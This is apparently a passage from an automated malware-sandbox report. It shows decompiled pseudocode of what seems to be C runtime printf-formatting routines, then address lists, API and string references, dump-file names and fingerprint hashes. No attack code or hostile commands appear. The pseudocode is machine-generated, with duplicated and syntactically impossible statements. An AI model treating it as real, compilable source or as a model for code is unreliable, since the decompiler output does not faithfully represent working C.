															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430A00( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430A80( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E520();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00423010(_t573))) = 0x16;
										E00422DA0(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041AFC0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BF30(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E520();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041AFC0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00423010(_t560))) = 0x16;
									E00422DA0(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041AFC0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404478
					 *(_t623 - 4) = _t593;
					_t497 = E0041DFC0( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x00434da5
0x00434da5
0x00434da5
0x00434da5
0x00434da5
0x00434da5
0x00434da9
0x00434dae
0x00434db1
0x00434dbe
0x00000000
0x00000000
0x00434dc0
0x00434dc0
0x00434dca
0x00434de6
0x00434de9
0x00434def
0x00434e17
0x00434e1e
0x00434e24
0x00434e27
0x00434e2a
0x00434e30
0x00434e33
0x00434df1
0x00434df1
0x00434df7
0x00434dfa
0x00434dfd
0x00434e03
0x00434e06
0x00434e09
0x00434e0b
0x00434e0e
0x00434e0e
0x00434e36
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x0043550c
0x00435512
0x0043551c
0x00435531
0x00435546
0x00435548
0x0043554c
0x0043554c
0x00435533
0x00435533
0x00435537
0x00435537
0x0043551e
0x0043551e
0x00435522
0x00435522
0x0043551c
0x0043555c
0x00435568
0x0043557e
0x00435583
0x00435583
0x00435599
0x0043559e
0x004355a7
0x004355af
0x004355c5
0x004355ca
0x004355ca
0x004355af
0x004355d1
0x004356a5
0x004356b8
0x004356bd
0x00000000
0x004355d7
0x004355d7
0x004355db
0x00000000
0x00000000
0x004355e1
0x004355e1
0x004355ee
0x004355f7
0x004355fd
0x004355fd
0x0043560c
0x00435614
0x00000000
0x00000000
0x0043561a
0x00435623
0x00435642
0x00435647
0x0043564a
0x00435659
0x00435666
0x00435671
0x00435671
0x00000000
0x00435671
0x00435668
0x0043566f
0x0043567d
0x00435696
0x0043569b
0x00000000
0x0043569b
0x00000000
0x0043566f
0x004356a3
0x004356c0
0x004356c7
0x004356cf
0x004356e5
0x004356ea
0x004356ea
0x004356cf
0x004356c7
0x004356ed
0x004356f1
0x004356f9
0x004356fe
0x00435701
0x00435701
0x00435708
0x00435708
0x004347df
0x004347e5
0x004347f2
0x004347f7
0x00000000
0x0043480a
0x00434814
0x0043483b
0x00434822
0x00434833
0x00434833
0x00434814
0x00434845
0x0043484b
0x00434857
0x0043485a
0x00434868
0x0043486b
0x00434878
0x0043491d
0x00434923
0x00434930
0x00000000
0x00000000
0x00434936
0x0043493c
0x00000000
0x00434943
0x00434943
0x0043495b
0x00434960
0x00434963
0x00434965
0x00434a1f
0x00434a32
0x00434a37
0x00000000
0x0043496b
0x0043497e
0x00434983
0x00434989
0x0043498b
0x00434994
0x00434994
0x00434997
0x004349a3
0x004349a7
0x004349ad
0x004349af
0x004349b4
0x004349b6
0x004349bb
0x004349c0
0x004349c2
0x004349c7
0x004349ca
0x004349cd
0x004349cf
0x004349cf
0x004349cd
0x004349d0
0x004349d0
0x004349d7
0x00000000
0x004349d9
0x004349de
0x004349fa
0x00434a02
0x00434a0f
0x00434a14
0x00000000
0x00434a14
0x004349d7
0x00000000
0x00434a3f
0x00434a3f
0x00434a46
0x00434a49
0x00434a4c
0x00434a4f
0x00434a52
0x00434a55
0x00434a58
0x00434a5f
0x00434a66
0x00000000
0x00000000
0x00434a72
0x00434a72
0x00434a79
0x00434a85
0x00434a88
0x00434a8e
0x00434a95
0x00000000
0x00000000
0x00434a97
0x00434a97
0x00434a9d
0x00434a9d
0x00434aa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ae7
0x00434ae7
0x00434aee
0x00434af1
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b21
0x00434b28
0x00434b28
0x00434b2c
0x00434af3
0x00434af3
0x00434aff
0x00434b02
0x00434b06
0x00434b08
0x00434b0b
0x00434b0b
0x00434b0e
0x00434b14
0x00434b16
0x00434b16
0x00434b19
0x00000000
0x00000000
0x00434b34
0x00434b34
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b47
0x00434b4a
0x00434b6a
0x00434b6d
0x00434b6d
0x00434b77
0x00434b77
0x00434b7b
0x00434b4c
0x00434b4c
0x00434b58
0x00434b5b
0x00434b5f
0x00434b61
0x00434b61
0x00434b68
0x00000000
0x00000000
0x00434b83
0x00434b83
0x00434b8a
0x00434b96
0x00434b99
0x00434b9f
0x00434ba6
0x00434cb9
0x00000000
0x00434cb9
0x00434bac
0x00434bac
0x00434bb2
0x00434bb2
0x00434bb9
0x00000000
0x00434bef
0x00434bef
0x00434bf2
0x00434bf5
0x00434bf8
0x00434c20
0x00434c20
0x00434c23
0x00434c26
0x00434c29
0x00434c4e
0x00434c4e
0x00434c51
0x00434c54
0x00434c57
0x00434c90
0x00434ca1
0x00000000
0x00434ca1
0x00434c59
0x00434c59
0x00434c5c
0x00434c5f
0x00434c62
0x00000000
0x00000000
0x00434c64
0x00434c64
0x00434c67
0x00434c6a
0x00434c6d
0x00000000
0x00000000
0x00434c6f
0x00434c6f
0x00434c72
0x00434c75
0x00434c78
0x00000000
0x00000000
0x00434c7a
0x00434c7a
0x00434c7d
0x00434c80
0x00434c83
0x00000000
0x00000000
0x00434c85
0x00434c85
0x00434c88
0x00434c8b
0x00434c8e
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434c8e
0x00434c2b
0x00434c2b
0x00434c2e
0x00434c32
0x00434c35
0x00000000
0x00434c37
0x00434c3a
0x00434c3d
0x00434c40
0x00434c43
0x00434c49
0x00000000
0x00434c49
0x00434c35
0x00434bfa
0x00434bfa
0x00434bfd
0x00434c01
0x00434c04
0x00000000
0x00434c06
0x00434c09
0x00434c0c
0x00434c0f
0x00434c12
0x00434c18
0x00000000
0x00434c18
0x00000000
0x00434ca3
0x00434ca6
0x00434ca9
0x00000000
0x00000000
0x00434bc0
0x00434bc0
0x00434bc3
0x00434bc6
0x00434bc9
0x00434be1
0x00434be4
0x00434be4
0x00434be7
0x00434bcb
0x00434bce
0x00434bd1
0x00434bd7
0x00434bdc
0x00434bdc
0x00000000
0x00000000
0x00434cae
0x00434cae
0x00434cb1
0x00434cb1
0x00434cb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cbe
0x00434cbe
0x00434cc5
0x00434cd1
0x00434cd4
0x00434cda
0x00434ce1
0x00000000
0x00435502
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x004354bc
0x004354bf
0x004354c2
0x004354c5
0x004354c8
0x004354cb
0x004354d1
0x004354d1
0x004354d1
0x004354d9
0x004354dd
0x00000000
0x00000000
0x004354df
0x004354df
0x004354e2
0x004354e5
0x004354e5
0x004354ea
0x004354ed
0x004354f0
0x004354f3
0x004354f6
0x004354f9
0x004354fc
0x004354fc
0x004354ff
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00434ce7
0x00434ced
0x00434ced
0x00434cf4
0x00000000
0x0043504e
0x0043504e
0x00435055
0x0043505c
0x0043505c
0x0043505f
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
0x00434d04
0x00434d06
0x00434d09
0x00434d09
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x00434e3b
0x00434e3e
0x00434e3e
0x00434e43
0x00434e45
0x00434e48
0x00434e48
0x00434e4e
0x00434e4e
0x00000000
0x00000000
0x0043521b
0x0043521b
0x00000000
0x00000000
0x00000000
0x00000000
0x00435065
0x00435068
0x0043506b
0x0043506e
0x00435074
0x00435077
0x0043507e
0x00435082
0x0043508d
0x0043508d
0x00435091
0x004350a8
0x004350a8
0x004350af
0x004350b1
0x004350b1
0x004350b8
0x004350b8
0x004350bf
0x004350d0
0x004350df
0x004350e2
0x004350e6
0x004350fc
0x004350e8
0x004350e8
0x004350eb
0x004350f1
0x004350f7
0x004350f7
0x004350e6
0x00435106
0x00435109
0x0043510c
0x0043510f
0x00435112
0x00435115
0x0043511b
0x00435121
0x00435129
0x0043512a
0x0043512d
0x0043512e
0x00435131
0x00435132
0x00435139
0x0043513a
0x0043513d
0x0043513e
0x00435141
0x00435142
0x00435148
0x00435149
0x00435157
0x00435159
0x0043515f
0x0043515f
0x00435165
0x00435167
0x0043516b
0x0043516d
0x00435175
0x00435176
0x00435179
0x0043517a
0x00435188
0x0043518a
0x0043518a
0x0043516b
0x0043518d
0x00435194
0x00435197
0x0043519c
0x0043519c
0x004351a2
0x004351a4
0x004351ac
0x004351ad
0x004351b0
0x004351b1
0x004351c0
0x004351c2
0x004351c2
0x004351a2
0x004351c5
0x004351c8
0x004351cb
0x004351ce
0x004351d3
0x004351d9
0x004351dc
0x004351df
0x004351df
0x004351e2
0x004351e2
0x004351e5
0x004351f1
0x00000000
0x004351f1
0x00435093
0x00435093
0x0043509a
0x0043509d
0x00000000
0x00000000
0x0043509f
0x0043509f
0x00000000
0x0043509f
0x00435084
0x00435084
0x00000000
0x00000000
0x00434d11
0x00434d14
0x00434d14
0x00434d1a
0x00434d75
0x00434d7d
0x00434d84
0x00434d8a
0x00434d90
0x00434d1c
0x00434d1c
0x00434d26
0x00434d2a
0x00434d32
0x00434d39
0x00434d46
0x00434d4d
0x00434d59
0x00434d5f
0x00434d66
0x00434d68
0x00434d68
0x00434d6f
0x00434d97
0x00434d9d
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00000000
0x004351f9
0x004351fc
0x004351ff
0x00435202
0x00000000
0x00000000
0x00434f57
0x00434f57
0x00434f63
0x00434f69
0x00434f6e
0x00434f70
0x0043501a
0x0043501d
0x0043501d
0x00435020
0x00435034
0x0043503a
0x00435040
0x00435022
0x00435022
0x0043502f
0x0043502f
0x00435042
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00434f76
0x00434f76
0x00434f76
0x00434f78
0x00434f86
0x00434f7a
0x00434f7a
0x00434f7a
0x00434f90
0x00434f96
0x00434f9c
0x00434fa3
0x00434fa5
0x00434faa
0x00434fac
0x00434fb1
0x00434fb6
0x00434fb8
0x00434fbd
0x00434fc0
0x00434fc3
0x00434fc5
0x00434fc5
0x00434fc3
0x00434fc6
0x00434fcd
0x00435015
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00434fcf
0x00434fcf
0x00434fd4
0x00434ff0
0x00434ff8
0x00435002
0x00435005
0x0043500a
0x00000000
0x0043500a
0x00000000
0x0043525c
0x0043525c
0x00435266
0x00435266
0x0043526c
0x0043526e
0x00435271
0x00435271
0x00435277
0x00435277
0x00000000
0x00000000
0x00435214
0x00435214
0x00000000
0x00000000
0x00434e51
0x00434e51
0x00434e55
0x00434e63
0x00434e66
0x00434e57
0x00434e57
0x00434e57
0x00434e6c
0x00434e72
0x00434e78
0x00434e84
0x00434e8a
0x00434e8a
0x00434e90
0x00434ef7
0x00434ef7
0x00434efb
0x00434efd
0x00434f03
0x00434f03
0x00434f06
0x00434f09
0x00434f0f
0x00434f0f
0x00434f0f
0x00434f1b
0x00434f1e
0x00434f24
0x00434f26
0x00000000
0x00000000
0x00434f28
0x00434f28
0x00434f2e
0x00434f31
0x00434f33
0x00000000
0x00000000
0x00434f35
0x00434f3b
0x00434f3e
0x00434f3e
0x00434f46
0x00434f46
0x00434f4c
0x00434f4c
0x00434f4f
0x00000000
0x00434e92
0x00434e92
0x00434e92
0x00434e96
0x00434e98
0x00434e9d
0x00434e9d
0x00434ea0
0x00434ea7
0x00434eaa
0x00434eb0
0x00434eb0
0x00434eb0
0x00434ebc
0x00434ebf
0x00434ec5
0x00434ec7
0x00000000
0x00000000
0x00434ec9
0x00434ec9
0x00434ecf
0x00434ed2
0x00434ed4
0x00000000
0x00000000
0x00434ed6
0x00434edc
0x00434edf
0x00434edf
0x00434ee7
0x00434eed
0x00434ef0
0x00434ef2
0x00434f52
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00000000
0x0043520b
0x0043520b
0x00000000
0x00000000
0x00435227
0x00435227
0x00435231
0x00435231
0x0043523b
0x0043523b
0x00435241
0x00435243
0x0043524d
0x0043524d
0x00435250
0x00435253
0x00435253
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00435398
0x00435398
0x0043539e
0x004353a4
0x004353aa
0x00000000
0x00435358
0x00435358
0x00435358
0x0043535f
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536c
0x00435372
0x00435374
0x0043537a
0x0043537d
0x0043537f
0x00435385
0x0043538e
0x00435393
0x004353b0
0x004353b3
0x004353b3
0x004353b8
0x004353bd
0x004353bd
0x004353c3
0x004353c5
0x004353cb
0x004353d1
0x004353d1
0x004353da
0x004353da
0x004353c3
0x004353e0
0x004353e4
0x004353f2
0x004353f5
0x004353f8
0x004353ff
0x00435401
0x00435401
0x004353e6
0x004353e6
0x004353e6
0x0043540e
0x0043540e
0x00435414
0x00435416
0x00435416
0x0043541d
0x00435420
0x00435423
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00435433
0x00435439
0x00435439
0x0043543f
0x00000000
0x00000000
0x00435441
0x00435441
0x00435444
0x00435447
0x0043544e
0x00435455
0x0043545d
0x00435463
0x00435466
0x00435469
0x00435470
0x0043547c
0x00435482
0x00435488
0x0043548f
0x00435491
0x00435497
0x00435497
0x0043549d
0x0043549d
0x004354a3
0x004354a6
0x004354ac
0x004354b1
0x004354b4
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00000000
0x00435431
0x00435423
0x00435363
0x00435363
0x0043536a
0x00000000
0x00000000
0x00000000
0x0043536a
0x00000000
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x004357d1
0x004357de
0x004357de
0x004348d5
0x00434878
0x0043570d
0x00435714
0x0043572b
0x0043572b
0x00435735
0x00435735
0x0043573b
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435768
0x0043576a
0x0043576a
0x00435768
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x00435716
0x0043571d
0x00000000
0x00000000
0x0043571f
0x0043571f
0x00000000
0x0043571f
0x00435502
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd9
0x00434dde
0x00434de1
0x00000000
0x00434de1

APIs

_get_int_arg.LIBCMTD ref: 00434DA9
_strlen.LIBCMT ref: 00434DD9
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

xD@, xrefs: 00434DCC
_output_s_l, xrefs: 004348EE
-, xrefs: 0043551E
("Incorrect format specifier", 0), xrefs: 004348AD, 004348F3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004348B9, 004348E9

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 2232461714-1238480882
Opcode ID: 50d1a2836ab3bf93a91cd49cc83c04f66d6696d09759484593bdb1779e6b6346
Instruction ID: 4bf4e76d5cbb7596cda04f0f011cf668afff02ce6994f8fba126411baebd4c86
Opcode Fuzzy Hash: 50d1a2836ab3bf93a91cd49cc83c04f66d6696d09759484593bdb1779e6b6346
Instruction Fuzzy Hash: D4A18EB4D016289BDF24DF54CC49BEEB7B1BB88304F5091DAD4096B281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C0B4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C0B4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E004285E0(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CC80(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CCC0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CC80(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CCC0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AFF0(_t596 - 0x40);
									_t524 = E0043B720(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CC20( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
